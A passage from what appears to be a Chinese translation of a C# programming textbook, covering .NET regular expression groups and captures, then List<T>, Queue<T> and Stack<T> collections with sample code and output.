< 5) ? index : 5; int fromEnd = text.Length - index - result.Length; int charsAfter = (fromEnd < 5) ? fromEnd : 5; int charsToDisplay = charsBefore + charsAfter + result.Length; WriteLine($"Index: {index}, \tString: {result}, \t" + "{text.Substring(index - charsBefore, charsToDisplay)}"); } } 在这个方法中,处理过程是确定在较长的子字符串中有多少个字符可以显示,而无须 超出输入文本的开头或结尾。注意在Match对象上使用了另一个属性Value,它包含标识该 匹配的字符串。而且,RegularExpressionsPlayaround只包含名为Find1、Find2等的方法, 这些方法根据本节中的示例执行某些搜索操作。例如,Find2查找以a开头的任意字符串: public static void Find2(string text) { string pattern = @"\ba\S*ions\b"; MatchCollection matches = Regex.Matches(text, pattern, RegexOptions.IgnoreCase); WriteMatches(text, matches); } 下面是一个简单的Main()方法,可以编辑它,从而选择一个Find<n>()方法: public static void Main() { Find2(); ReadLine(); } 这段代码还需要使用RegularExpressions名称空间: using System; using System.Text.RegularExpressions; 运行带有Find 2()方法的示例,得到如下所示的结果: No. of matches: 2 Index: 243, String: additions, .5.1 additions, as Index: 469, String: applications, web applications imme 10.3.4 匹配、组和捕获 正则表达式的一个优秀特性是可以把字符组合起来,其工作方式与C#中的复合语句 一样。在C#中,可以把任意数量的语句放在花括号中,把它们组合在一起,其结果视为 复合语句。在正则表达式模式中,也可以把任何字符组合起来(包括元字符和转义序 列),像处理单个字符那样处理它们。唯一的区别是要使用圆括号而不是花括号,得到的 序列称为一组。 例如,模式(an)+定位任意重复出现的序列an。限定符“+”只应用于它前面的一个字 符,但因为我们把字符组合起来了,所以它现在把重复的an作为一个单元来对待。这意味 着,如果(an)+应用到输入文本“bananas came to Europe late in the annals of history”上, 就会从bananas中识别出anan。另一方面,如果使用an+,则程序将从annals中选择ann,从 bananas中选择出两个分开的an序列。表达式(an)+可以识别出an、anan、ananan等,而 表达式an+可以识别出an、ann、annn等。  注意: 在上面的示例中,为什么(an)+从banana中选择的是anan,而没有把 其中一个an作为一个匹配结果?因为匹配结果是不能重叠的。如果有可能重叠,在默 认情况下就选择最长的匹配序列。 但是,组的功能要比这强大得多。在默认情况下,把模式的一部分组合为一个组时, 就要求正则表达式引擎按照该组来匹配,或按照整个模式来匹配。换言之,可以把组当成 一个要匹配和返回的模式。如果要把字符串分解为各个部分,这种模式就非常有效。 例如,URI的格式是<protocol>://<address>:<port>,其中端口是可选的。它的一个示 例是http://www.wrox.com:80。假定要从一个URI中提取协议、地址和端口,而且不考虑 URI的后面是否紧跟着空白(但没有标点符号),那么可以使用下面的表达式: \b(https?)(://)([.\w]+)([\s:]([\d]{2,5})?)\b 该表达式的工作方式如下:首先,前导\b序列和结尾\b序列确保只需要考虑完全是字 的文本部分。在这个文本部分中,第一个组(https?)会识别http或https协议。S字符后面 的?指定这个字符可能出现0次或1次,因此找到http和https。括号表示把协议存储为一 组。 第二个组是一个简单的(://)。它仅指定字符://。 第三个组([.\w]+)比较有趣。这个组包含一个放在括号里的表达式,该表达式要么 是句点字符(.),要么是用\w指定的任意字母数字字符。这些字符可以重复任意多次, 因此匹配www.wrox.com。 第四组([\s:]([\d]{2,5})?)是一个较长的表达式,包含一个内部组。在该组中,第 一个放在括号中的表达式允许通过\ s指定空白字符或冒号。内部组用[\d]指定一个数字。 表达式{ 2, 5 }指定前面的字符(数字)允许至少出现两次但不超过5次。数字的完整表达 式用内部组后面的?指定允许出现0次或1次。使这个组变成可选非常重要,因为端口号并 不总是在URI中指定;事实上,通常不指定它。 下面定义一个字符串来运行这个表达式(代码文件RegularExpressionsPlayground/ Program.cs): string line = "Hey, I've just found this amazing URI at " + "http:// what was it -oh yes https://www.wrox.com or " + "http://www.wrox.com:80"; 与这个表达式匹配的代码使用类似于之前的Matches方法。区别是在Match.Groups属 性内迭代所有的Group对象,在控制台上输出每组得到的索引和值: string pattern = @"\b(https?)(://)([.\w]+)([\s:]([\d]{2,4})?)\b"; var r = new Regex(pattern); MatchCollection mc = r.Matches(line); foreach (Match m in mc) { WriteLine($"Match: {m}"); foreach (Group g in m.Groups) { if (g.Success) { WriteLine($"group index: {g.Index}, value: {g.Value}"); } } WriteLine(); } 运行程序,得到如下组和值: Match https://www.wrox.com group index 70, value: https://www.wrox.com group index 70, value: https group index 75, value: :// group index 78, value: www.wrox.com group index 90, value: Match http://www.wrox.com:80 group index 94, value http://www.wrox.com:80 group index 94, value: http group index 98, value: :// group index 101, value: www.wrox.com group index 113, value: :80 group index 114, value: 80 之后,就匹配文本中的URI, URI的不同部分得到了很好的分组。组还提供了更多的功 能。一些组,如协议和地址之间的分隔,可以忽略,并且组也可以命名。 修改正则表达式,命名每个组,忽略一些名称。在组的开头指定?<name>,就可给 组命名。例如,协议、地址和端口的正则表达式组就采用相应的名称。在组的开头使 用?:来忽略该组。不要迷惑于组内的?::/ /,它表示搜索:/ /,组本身因为前面的?: 而被忽略: string pattern = @"\b(?<protocol>https?)(?:://)" + @"(?<address>[.\w]+)([\s:](?<port>[\d]{2,4})?)\b"; 为了从正则表达式中获得组,Regex类定义了GetGroupNames方法。在下面的代码段 中,每个匹配都使用所有的组名,使用Groups属性和索引器输出组名和值: Regex r = new Regex(pattern, RegexOptions.ExplicitCapture); MatchCollection mc = r.Matches(line); foreach (Match m in mc) { WriteLine($"match: {m} at {m.Index}"); foreach (var groupName in r.GetGroupNames()) { WriteLine($"match for {groupName}: {m.Groups[groupName].Value}"); } } 运行程序,就可以看到组名及其值: match: https://www.wrox.com at 70 match for 0: https://www.wrox.com match for protocol: https match for address: www.wrox.com match for port: match: http://www.wrox.com:80 at 94 match for 0: http://www.wrox.com:80 match for protocol: http match for address: www.wrox.com match for port: 80 10.4 小结 在使用.NET Framework时,可用的数据类型相当多。在应用程序(特别是关注数据 提交和检索的应用程序)中,最常用的一种类型就是String数据类型。String非常重要,这 也是本书用一整章的篇幅介绍如何在应用程序中使用和处理String数据类型的原因。 过去在使用字符串时,常常需要通过连接来分解字符串。而在.NET Framework中, 可以使用StringBuilder类完成许多这类任务,而且性能更好。 字符串的另一个特点是新的C# 6字符串插值。在大多数应用程序中,该特性使字符串 的处理容易得多。 最后,使用正则表达式进行高级的字符串处理是搜索和验证字符串的一种最佳工具。 接下来的两章介绍不同的集合类。 第11章 集合 本章要点 ● 理解集合接口和类型 ● 使用列表、队列和栈 ● 使用链表和有序列表 ● 使用字典和集 ● 评估性能 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● 列表示例 ● 队列示例 ● 链表示例 ● 有序列表示例 ● 字典示例 ● 集示例 11.1 概述 第7章介绍了数组和Array类实现的接口。数组的大小是固定的。如果元素个数是动态 的,就应使用集合类。 List<T>是与数组相当的集合类。还有其他类型的集合:队列、栈、链表、字典和 集。其他集合类提供的访问集合元素的API可能稍有不同,它们在内存中存储元素的内部 结构也有区别。本章将介绍所有的集合类和它们的区别,包括性能差异。 还可以了解在多线程中使用的位数组和并发集合。 11.2 集合接口和类型 大多数集合类都可在System.Collections和System.Collections.Generic名称空间中找到。 泛型集合类位于System.Collections.Generic名称空间中;专用于特定类型的集合类位于 System.Collections. Specialized名称空间中。线程安全的集合类位于 System.Collections.Concurrent名称空间中。不可变的集合类在System.Collections.Immutable 名称空间中。 当然,组合集合类还有其他方式。集合可以根据集合类实现的接口组合为列表、集合 和字典。  注意: 接口IEnumerable和IEnumerator的内容详见第7章。 集合和列表实现的接口如表11-1所示。 表11-1 接口 说明 IEnumerable<T> 如果将foreach语句用于集合,就需要IEnumerable 接口。这个接口定义了方法GetEnumerator(), 它返回一个实现了IEnumerator接口的枚举 ICollection<T> ICollection<T>接口由泛型集合类实现。使用这个 接口可以获得集合中的元素个数(Count属性), 把集合复制到数组中(CopyTo()方法),还可 以从集合中添加和删除元素(Add()、 Remove()、Clear()) IList<T> IList<T>接口用于可通过位置访问其中的元素列 表,这个接口定义了一个索引器,可以在集合的指 定位置插入或删除某些项(Insert()和 RemoveAt()方法)。IList<T>接口派生自 ICollection<T>接口 ISet<T> ISet<T>接口由集实现。集允许合并不同的集,获 得两个集的交集,检查两个集是否重叠。ISet<T> 接口派生自ICollection<T>接口 IDictionary<TKey, TValue> IDictionary<TKey, TValue>接口由包含键和值的泛 型集合类实现。使用这个接口可以访问所有的键和 值,使用键类型的索引器可以访问某些项,还可以 添加或删除某些项 ILookup<TKey, TValue> ILookup<TKey, TValue>接口类似于 IDictionary<TKey, TValue>接口,实现该接口的集 合有键和值,且可以通过一个键包含多个值 IComparer<T> 接口IComparer<T>由比较器实现,通过 Compare()方法给集合中的元素排序 IEqualityComparer<T> 接口IEqualityComparer<T>由一个比较器实现,该 比较器可用于字典中的键。使用这个接口,可以对 对象进行相等性比较 11.3 列表 .NET Framework为动态列表提供了泛型类List<T>。这个类实现了IList、ICollection、 IEnumerable、IList<T>、ICollection<T>和IEnumerable<T>接口。 下面的例子将Racer类中的成员用作要添加到集合中的元素,以表示一级方程式的一 位赛车手。这个类有5个属性:Id、Firstname、Lastname、Country和Wins的次数。在该类 的构造函数中,可以传递赛车手的姓名和获胜次数,以设置成员。重写ToString()方法 是为了返回赛车手的姓名。Racer类也实现了泛型接口IComparable<T>,为Racer类中的元 素排序,还实现了IFormattable接口(代码文件ListSamples/Racer.cs)。 public class Racer: IComparable<Racer>, IFormattable { public int Id { get; } public string FirstName { get; set; } public string LastName { get; set; } public string Country { get; set; } public int Wins { get; set; } public Racer(int id, string firstName, string lastName, string country) :this(id, firstName, lastName, country, wins: 0) { } public Racer(int id, string firstName, string lastName, string country, int wins) { Id = id; FirstName = firstName; LastName = lastName; Country = country; Wins = wins; } public override string ToString() => $"{FirstName} {LastName}"; public string ToString(string format, IFormatProvider formatProvider) { if (format == null) format = "N"; switch (format.ToUpper()) { case "N": // name return ToString(); case "F": // first name return FirstName; case "L": // last name return LastName; case "W": // Wins return $"{ToString()}, Wins: {Wins}"; case "C": // Country return $"{ToString()}, Country: {Country}"; case "A": // All return $"{ToString()}, Country: {Country} Wins: {Wins}"; default: throw new FormatException(String.Format(formatProvider, $"Format {format} is not supported")); } } public string ToString(string format) => ToString(format, null); public int CompareTo(Racer other) { int compare = LastName? .CompareTo(other? .LastName) ? ? -1; if (compare == 0) { return FirstName? .CompareTo(other? .FirstName) ? ? -1; } return compare; } } 11.3.1 创建列表 调用默认的构造函数,就可以创建列表对象。在泛型类List<T>中,必须为声明为列 表的值指定类型。下面的代码说明了如何声明一个包含int的List<T>泛型类和一个包含 Racer元素的列表。ArrayList是一个非泛型列表,它可以将任意Object类型作为其元素。 使用默认的构造函数创建一个空列表。元素添加到列表中后,列表的容量就会扩大为 可接纳4个元素。如果添加了第5个元素,列表的大小就重新设置为包含8个元素。如果8个 元素还不够,列表的大小就重新设置为包含16个元素。每次都会将列表的容量重新设置为 原来的2倍。 var intList = new List<int>(); var racers = new List<Racer>(); 如果列表的容量改变了,整个集合就要重新分配到一个新的内存块中。在List<T>泛 型类的实现代码中,使用了一个T类型的数组。通过重新分配内存,创建一个新数组, Array.Copy()方法将旧数组中的元素复制到新数组中。为节省时间,如果事先知道列表 中元素的个数,就可以用构造函数定义其容量。下面创建了一个容量为10个元素的集合。 如果该容量不足以容纳要添加的元素,就把集合的大小重新设置为包含20或40个元素,每 次都是原来的2倍。 List<int> intList = new List<int>(10); 使用Capacity属性可以获取和设置集合的容量。 intList.Capacity = 20; 容量与集合中元素的个数不同。集合中的元素个数可以用Count属性读取。当然,容 量总是大于或等于元素个数。只要不把元素添加到列表中,元素个数就是0。 WriteLine(intList.Count); 如果已经将元素添加到列表中,且不希望添加更多的元素,就可以调用 TrimExcess()方法,去除不需要的容量。但是,因为重新定位需要时间,所以如果元素 个数超过了容量的90%, TrimExcess()方法就什么也不做。 intList.TrimExcess(); 1.集合初始值设定项 还可以使用集合初始值设定项给集合赋值。使用集合初始值设定项,可以在初始化集 合时,在花括号中给集合赋值: var intList = new List<int>() {1, 2}; var stringList = new List<string>() {"one", "two"};  注意: 集合初始值设定项没有反映在已编译的程序集的IL代码中。编译器会 把集合初始值设定项转换成对初始值设定项列表中的每一项调用Add()方法。 2.添加元素 使用Add()方法可以给列表添加元素,如下所示。实例化的泛型类型定义了 Add()方法的参数类型: var intList = new List<int>(); intList.Add(1); intList.Add(2); var stringList = new List<string>(); stringList.Add("one"); stringList.Add("two"); 把racers变量定义为List<Racer>类型。使用new运算符创建相同类型的一个新对象。 因为类List<T>用具体类Racer来实例化,所以现在只有Racer对象可以用Add()方法添 加。在下面的示例代码中,创建了5个一级方程式赛车手,并把它们添加到集合中。前3个 用集合初始值设定项添加,后两个通过显式调用Add()方法来添加(代码文件 ListSamples/Program.cs)。 var graham = new Racer(7, "Graham", "Hill", "UK", 14); var emerson = new Racer(13, "Emerson", "Fittipaldi", "Brazil", 14); var mario = new Racer(16, "Mario", "Andretti", "USA", 12); var racers = new List<Racer>(20) {graham, emerson, mario}; racers.Add(new Racer(24, "Michael", "Schumacher", "Germany", 91)); racers.Add(new Racer(27, "Mika", "Hakkinen", "Finland", 20)); 使用List<T>类的AddRange()方法,可以一次给集合添加多个元素。因为 AddRange()方法的参数是IEnumerable<T>类型的对象,所以也可以传递一个数组,如 下所示: racers.AddRange(new Racer[] { new Racer(14, "Niki", "Lauda", "Austria", 25), new Racer(21, "Alain", "Prost", "France", 51)});  注意: 集合初始值设定项只能在声明集合时使用。AddRange()方法则可 以在初始化集合后调用。如果在创建集合后动态获取数据,就需要调用 AddRange()。 如果在实例化列表时知道集合的元素个数,就也可以将实现IEnumerable<T>类型的任 意对象传递给类的构造函数。这非常类似于AddRange()方法: var racers = new List<Racer>( new Racer[] { new Racer(12, "Jochen", "Rindt", "Austria", 6), new Racer(22, "Ayrton", "Senna", "Brazil", 41) }); 3.插入元素 使用Insert()方法可以在指定位置插入元素: racers.Insert(3, new Racer(6, "Phil", "Hill", "USA", 3)); 方法InsertRange()提供了插入大量元素的功能,类似于前面的AddRange()方 法。 如果索引集大于集合中的元素个数,就抛出ArgumentOutOfRangeException类型的异 常。 4.访问元素 实现了IList和IList<T>接口的所有类都提供了一个索引器,所以可以使用索引器,通 过传递元素号来访问元素。第一个元素可以用索引值0来访问。指定racers[3],可以访问 列表中的第4个元素: Racer r1 = racers[3]; 可以使用Count属性确定元素个数,再使用for循环遍历集合中的每个元素,并使用索 引器访问每一项: for (int i = 0; i < racers.Count; i++) { WriteLine(racers[i]); }  注意: 可以通过索引访问的集合类有ArrayList、StringCollection和List<T>。 因为List<T>集合类实现了IEnumerable接口,所以也可以使用foreach语句遍历集合中 的元素。 foreach (var r in racers) { WriteLine(r); }  注意: 编译器解析foreach语句时,利用了IEnumerable和IEnumerator接口,参 见第7章。 5.删除元素 删除元素时,可以利用索引,也可以传递要删除的元素。下面的代码把3传递给 RemoveAt()方法,删除第4个元素: racers.RemoveAt(3); 也可以直接将Racer对象传送给Remove()方法,来删除这个元素。按索引删除比较 快,因为必须在集合中搜索要删除的元素。Remove()方法先在集合中搜索,用 IndexOf()方法获取元素的索引,再使用该索引删除元素。IndexOf()方法先检查元素 类型是否实现了IEquatable<T>接口。如果是,就调用这个接口的Equals()方法,确定集 合中的元素是否等于传递给Equals()方法的元素。如果没有实现这个接口,就使用 Object类的Equals()方法比较这些元素。Object类中Equals()方法的默认实现代码对值 类型进行按位比较,对引用类型只比较其引用。  注意: 第8章介绍了如何重写Equals()方法。 这里从集合中删除了变量graham引用的赛车手。变量graham是前面在填充集合时创建 的。因为IEquatable<T>接口和Object.Equals()方法都没有在Racer类中重写,所以不能 用要删除元素的相同内容创建一个新对象,再把它传递给Remove()方法。 if (! racers.Remove(graham)) { WriteLine("object not found in collection"); } RemoveRange()方法可以从集合中删除许多元素。它的第一个参数指定了开始删除 的元素索引,第二个参数指定了要删除的元素个数。 int index = 3; int count = 5; racers.RemoveRange(index, count); 要从集合中删除有指定特性的所有元素,可以使用RemoveAll()方法。这个方法在 搜索元素时使用下面将讨论的Predicate<T>参数。要删除集合中的所有元素,可以使用 ICollection<T>接口定义的Clear()方法。 6.搜索 有不同的方式在集合中搜索元素。可以获得要查找的元素的索引,或者搜索元素本 身。可以使用的方法有IndexOf()、LastIndexOf()、FindIndex()、 FindLastIndex()、Find()和FindLast()。如果只检查元素是否存在,List<T>类就提 供了Exists()方法。 IndexOf()方法需要将一个对象作为参数,如果在集合中找到该元素,这个方法就 返回该元素的索引。如果没有找到该元素,就返回-1。IndexOf()方法使用 IEquatable<T>接口来比较元素(代码文件ListSamples/Program.cs)。 int index1 = racers.IndexOf(mario); 使用IndexOf()方法,还可以指定不需要搜索整个集合,但必须指定从哪个索引开 始搜索以及比较时要迭代的元素个数。 除了使用IndexOf()方法搜索指定的元素之外,还可以搜索有某个特性的元素,该 特性可以用FindIndex()方法来定义。FindIndex()方法需要一个Predicate类型的参数: public int FindIndex(Predicate<T> match); Predicate<T>类型是一个委托,该委托返回一个布尔值,并且需要把类型T作为参 数。如果Predicate<T>委托返回true,就表示有一个匹配元素,并且找到了相应的元素。 如果它返回false,就表示没有找到元素,搜索将继续。 public delegate bool Predicate<T>(T obj); 在List<T>类中,把Racer对象作为类型T,所以可以将一个方法(该方法将类型Racer 定义为一个参数且返回一个布尔值)的地址传递给FindIndex()方法。查找指定国家的 第一个赛车手时,可以创建如下所示的FindCountry类。FindCountryPredicate()方法的签 名和返回类型通过Predicate<T>委托定义。Find()方法使用变量country搜索用 FindCountry类的构造函数定义的某个国家(代码文件ListSamplesFindCountry.cs)。 public class FindCountry { public FindCountry(string country) { _country = country; } private string _country; public bool FindCountryPredicate(Racer racer) => racer? .Country == _country; } 使用FindIndex()方法可以创建FindCountry类的一个新实例,把表示一个国家的字 符串传递给构造函数,再传递Find()方法的地址。在下面的示例中,FindIndex()方法 成功完成后,index2就包含集合中赛车手的Country属性设置为Finland的第一项的索引 (代码文件ListSamples/Program.cs)。 int index2 = racers.FindIndex(new FindCountry("Finland"). FindCountryPredicate); 除了用处理程序方法创建类之外,还可以在这里创建lambda表达式。结果与前面完全 相同。现在lambda表达式定义了实现代码,来搜索Country属性设置为Finland的元素。 int index3 = racers.FindIndex(r => r.Country == "Finland"); 与IndexOf()方法类似,使用FindIndex()方法也可以指定搜索开始的索引和要遍 历的元素个数。为了从集合中的最后一个元素开始向前搜索某个索引,可以使用 FindLastIndex()方法。 FindIndex()方法返回所查找元素的索引。除了获得索引之外,还可以直接获得集 合中的元素。Find()方法需要一个Predicate<T>类型的参数,这与FindIndex()方法类 似。下面的Find()方法搜索列表中FirstName属性设置为Niki的第一个赛车手。当然,也 可以实现FindLast()方法,查找与Predicate<T>类型匹配的最后一项。 Racer racer = racers.Find(r => r.FirstName == "Niki"); 要获得与Predicate<T>类型匹配的所有项,而不是一项,可以使用FindAll()方法。 FindAll()方法使用的Predicate<T>委托与Find()和FindIndex()方法相同。 FindAll()方法在找到第一项后,不会停止搜索,而是继续迭代集合中的每一项,并返 回Predicate<T>类型是true的所有项。 这里调用了FindAll()方法,返回Wins属性设置为大于20的整数的所有racer项。从 bigWinners列表中引用所有赢得超过20场比赛的赛车手。 List<Racer> bigWinners = racers.FindAll(r => r.Wins > 20); 用foreach语句遍历bigWinners变量,结果如下: foreach (Racer r in bigWinners) { WriteLine($"{r:A}"); } Michael Schumacher, Germany Wins: 91 Niki Lauda, Austria Wins: 25 Alain Prost, France Wins: 51 这个结果没有排序,但这是下一步要做的工作。  注意: 格式修饰符和IFormattable接口参见第10章。 7.排序 List<T>类可以使用Sort()方法对元素排序。Sort()方法使用快速排序算法,比较 所有的元素,直到整个列表排好序为止。 Sort()方法使用了几个重载的方法。可以传递给它的参数有泛型委托 Comparison<T>和泛型接口IComparer<T>,以及一个范围值和泛型接口IComparer<T>。 public void List<T>.Sort(); public void List<T>.Sort(Comparison<T>); public void List<T>.Sort(IComparer<T>); public void List<T>.Sort(Int32, Int32, IComparer<T>); 只有集合中的元素实现了IComparable接口,才能使用不带参数的Sort()方法。 Racer类实现了IComparable<T>接口,可以按姓氏对赛车手排序: racers.Sort(); 如果需要按照元素类型不默认支持的方式排序,就应使用其他技术,例如,传递一个 实现了IComparer<T>接口的对象。 RacerComparer类为Racer类型实现了接口IComparer<T>。这个类允许按名字、姓氏、 国籍或获胜次数排序。排序的种类用内部枚举类型CompareType定义。CompareType枚举 类型用RacerComparer类的构造函数设置。IComparer<Racer>接口定义了排序所需的 Compare()方法。在这个方法的实现代码中,使用了string和int类型的CompareTo()方 法(代码文件ListSamples/Racer-Comparer.cs)。 public class RacerComparer : IComparer<Racer> { public enum CompareType { FirstName, LastName, Country, Wins } private CompareType _compareType; public RacerComparer(CompareType compareType) { _compareType = compareType; } public int Compare(Racer x, Racer y) { if (x == null && y == null) return 0; if (x == null) return -1; if (y == null) return 1; int result; switch (_compareType) { case CompareType.FirstName: return string.Compare(x.FirstName, y.FirstName); case CompareType.LastName: return string.Compare(x.LastName, y.LastName); case CompareType.Country: result = string.Compare(x.Country, y.Country); if (result == 0) return string.Compare(x.LastName, y.LastName); else return result; case CompareType.Wins: return x.Wins.CompareTo(y.Wins); default: throw new ArgumentException("Invalid Compare Type"); } } }  注意: 如果传递给Compare方法的两个元素的顺序相同,该方法则返回0。如 果返回值小于0,说明第一个参数小于第二个参数;如果返回值大于0,则第一个参数 大于第二个参数。传递null作为参数时,Compare方法并不会抛出一个 NullReferenceException异常。相反,因为null的位置在其他任何元素之前,所以如果第 一个参数为null,该方法返回-1,如果第二个参数为null,则返回+1。 现在,可以对RacerComparer类的一个实例使用Sort()方法。传递枚举 RacerComparer. CompareType.Country,按属性Country对集合排序: racers.Sort(new RacerComparer(RacerComparer.CompareType.Country)); 排序的另一种方式是使用重载的Sort()方法,该方法需要一个Comparison<T>委 托: public void List<T>.Sort(Comparison<T>); Comparison<T>是一个方法的委托,该方法有两个T类型的参数,返回类型为int。如 果参数值相等,该方法就必须返回0。如果第一个参数比第二个小,它就必须返回一个小 于0的值;否则,必须返回一个大于0的值。 public delegate int Comparison<T>(T x, T y); 现在可以把一个lambda表达式传递给Sort()方法,按获胜次数排序。两个参数的类 型是Racer,在其实现代码中,使用int类型的CompareTo()方法比较Wins属性。在实现 代码中,因为以逆序方式使用r2和r1,所以获胜次数以降序方式排序。调用方法之后,完 整的赛车手列表就按赛车手的获胜次数排序。 racers.Sort((r1, r2) => r2.Wins.CompareTo(r1.Wins)); 也可以调用Reverse()方法,逆转整个集合的顺序。 11.3.2 只读集合 创建集合后,它们就是可读写的,否则就不能给它们填充值了。但是,在填充完集合 后,可以创建只读集合。List<T>集合的AsReadOnly()方法返回ReadOnlyCollection<T> 类型的对象。ReadOnlyCollection<T>类实现的接口与List<T>集合相同,但所有修改集合 的方法和属性都抛出NotSupportedException异常。除了List<T>的接口之外, ReadOnlyCollection<T>还实现了IReadOnlyCollection<T>和IReadOnlyList<T>接口。因为这 些接口的成员,集合不能修改。 11.4 队列 队列是其元素以先进先出(Firstin, Firstout, FIFO)的方式来处理的集合。先放入队列 中的元素会先读取。队列的例子有在机场排的队列、人力资源部中等待处理求职信的队列 和打印队列中等待处理的打印任务,以及按循环方式等待CPU处理的线程。另外,还常常 有元素根据其优先级来处理的队列。 例如,在机场的队列中,商务舱乘客的处理要优先于经济舱的乘客。这里可以使用多 个队列,一个队列对应一个优先级。在机场,这很常见,因为商务舱乘客和经济舱乘客有 不同的登记队列。打印队列和线程也是这样。可以为一组队列建立一个数组,数组中的一 项代表一个优先级。在每个数组项中都有一个队列,其中按照FIFO的方式进行处理。  注意: 本章的后面将使用链表的另一种实现方式来定义优先级列表。 队列使用System.Collections.Generic名称空间中的泛型类Queue<T>实现。在内部, Queue<T>类使用T类型的数组,这类似于List<T>类型。它实现ICollection和 IEnumerable<T>接口,但没有实现ICollection<T>接口,因为这个接口定义的Add()和 Remove()方法不能用于队列。 因为Queue<T>类没有实现IList<T>接口,所以不能用索引器访问队列。队列只允许在 队列中添加元素,该元素会放在队列的尾部(使用Enqueue()方法),从队列的头部获 取元素(使用Dequeue()方法)。 图11-1显示了队列的元素。Enqueue()方法在队列的一端添加元素,Dequeue()方 法在队列的另一端读取和删除元素。再次调用Dequeue()方法,会删除队列中的下一 项。 图11-1 Queue<T>类的方法如表11-2所示。 表11-2 Queue<T>类的成员 说明 Count Count属性返回队列中的元素个数 Enqueue Enqueue()方法在队列一端添加一个元素 Dequeue Dequeue()方法在队列的头部读取和删除元素。 如果在调用Dequeue()方法时,队列中不再有元 素,就抛出一个InvalidOperationException类型的异 常 Peek Peek()方法从队列的头部读取一个元素,但不删 除它 TrimExcess TrimExcess()方法重新设置队列的容量。 Dequeue()方法从队列中删除元素,但它不会重 新设置队列的容量。要从队列的头部去除空元素, 应使用TrimExcess()方法 在创建队列时,可以使用与List<T>类型类似的构造函数。虽然默认的构造函数会创 建一个空队列,但也可以使用构造函数指定容量。在把元素添加到队列中时,如果没有定 义容量,容量就会递增,从而包含4、8、16和32个元素。类似于List<T>类,队列的容量 也总是根据需要成倍增加。非泛型类Queue的默认构造函数与此不同,它会创建一个包含 32项空的初始数组。使用构造函数的重载版本,还可以将实现了IEnumerable<T>接口的其 他集合复制到队列中。 下面的文档管理应用程序示例说明了Queue<T>类的用法。使用一个线程将文档添加 到队列中,用另一个线程从队列中读取文档,并处理它们。 存储在队列中的项是Document类型。Document类定义了标题和内容(代码文件 QueueSample/Document.cs): public class Document { public string Title { get; private set; } public string Content { get; private set; } public Document(string title, string content) { Title = title; Content = content; } } DocumentManager类是Queue<T>类外面的一层。DocumentManager类定义了如何处理 文档:用AddDocument()方法将文档添加到队列中,用GetDocument()方法从队列中 获得文档。 在AddDocument()方法中,用Enqueue()方法把文档添加到队列的尾部。在 GetDocument()方法中,用Dequeue()方法从队列中读取第一个文档。因为多个线程 可以同时访问DocumentManager类,所以用lock语句锁定对队列的访问。  注意: 线程和lock语句参见第21章和第22章。 IsDocumentAvailable是一个只读类型的布尔属性,如果队列中还有文档,它就返回 true,否则返回false(代码文件QueueSample/DocumentManager.cs)。 public class DocumentManager { private readonly Queue<Document> _documentQueue = new Queue<Document>(); public void AddDocument(Document doc) { lock (this) { _documentQueue.Enqueue(doc); } } public Document GetDocument() { Document doc = null; lock (this) { doc = _documentQueue.Dequeue(); } return doc; } public bool IsDocumentAvailable => _documentQueue.Count > 0; } ProcessDocuments类在一个单独的任务中处理队列中的文档。能从外部访问的唯一方 法是Start()。在Start()方法中,实例化了一个新任务。创建一个ProcessDocuments对 象,来启动任务,定义Run()方法作为任务的启动方法。TaskFactory(通过Task类的静 态属性Factory访问)的StartNew方法需要一个Action委托作为参数,用于接受Run方法传 递的地址。TaskFactory的StartNew方法会立即启动任务。 使用ProcessDocuments类的Run()方法定义一个无限循环。在这个循环中,使用属 性IsDocumentAvailable确定队列中是否还有文档。如果队列中还有文档,就从 DocumentManager类中提取文档并处理。这里的处理仅是把信息写入控制台。在真正的应 用程序中,文档可以写入文件、数据库,或通过网络发送(代码文件 QueueSample/ProcessDocuments.cs)。 public class ProcessDocuments { public static void Start(DocumentManager dm) { Task.Run(new ProcessDocuments(dm).Run); } protected ProcessDocuments(DocumentManager dm) { if (dm == null) throw new ArgumentNullException(nameof(dm)); _documentManager = dm; } private DocumentManager _documentManager; protected async Task Run() { while (true) { if (_documentManager.IsDocumentAvailable) { Document doc = _documentManager.GetDocument(); WriteLine("Processing document {0}", doc.Title); } await Task.Delay(new Random().Next(20)); } } } 在应用程序的Main()方法中,实例化一个DocumentManager对象,启动文档处理任 务。接着创建1000个文档,并添加到DocumentManager对象中(代码文件 QueueSample/Program.cs): public class Program { public static void Main() { var dm = new DocumentManager(); ProcessDocuments.Start(dm); // Create documents and add them to the DocumentManager for (int i = 0; i < 1000; i++) { var doc = new Document($"Doc {i.ToString()}", "content"); dm.AddDocument(doc); WriteLine($"Added document {doc.Title}"); Thread.Sleep(new Random().Next(20)); } } } 在启动应用程序时,会在队列中添加和删除文档,输出如下所示: Added document Doc 279 Processing document Doc 236 Added document Doc 280 Processing document Doc 237 Added document Doc 281 Processing document Doc 238 Processing document Doc 239 Processing document Doc 240 Processing document Doc 241 Added document Doc 282 Processing document Doc 242 Added document Doc 283 Processing document Doc 243 完成示例应用程序中描述的任务的真实程序可以处理用Web服务接收到的文档。 11.5 栈 栈是与队列非常类似的另一个容器,只是要使用不同的方法访问栈。最后添加到栈中 的元素会最先读取。栈是一个后进先出(Lastin, Firstout, LIFO)的容器。 图11-2表示一个栈,用Push()方法在栈中添加元素,用Pop()方法获取最近添加 的元素。 图11-2 与Queue<T>类相似,Stack<T>类实现IEnumerable<T>和ICollection接口。 Stack<T>类的成员如表11-3所示。 表11-3 Stack<T>类的成员 说明 Count 返回栈中的元素个数 Push 在栈顶添加一个元素 Pop 从栈顶删除一个元素,并返回该元素。如果栈是空 的,就抛出InvalidOperationException异常 Peek 返回栈顶的元素,但不删除它 Contains 确定某个元素是否在栈中,如果是,就返回true 在下面的例子中,使用Push()方法把3个元素添加到栈中。在foreach方法中,使用 IEnumerable接口迭代所有的元素。栈的枚举器不会删除元素,它只会逐个返回元素(代 码文件StackSample/Program.cs)。 var alphabet = new Stack<char>(); alphabet.Push('A'); alphabet.Push('B'); alphabet.Push('C'); foreach (char item in alphabet) { Write(item); } WriteLine(); 因为元素的读取顺序是从最后一个添加到栈中的元素开始到第一个元素,所以得到的 结果如下: CBA 用枚举器读取元素不会改变元素的状态。使用Pop()方法会从栈中读取每个元素, 然后删除它们。这样,就可以使用while循环迭代集合,检查Count属性,确定栈中是否还 有元素: var alphabet = new Stack<char>(); alphabet.Push('A'); alphabet.Push('B'); alphabet.Push('C'); Write("First iteration: "); foreach (char item in alphabet) { Write(item); } WriteLine(); Console.Write("Second iteration: "); 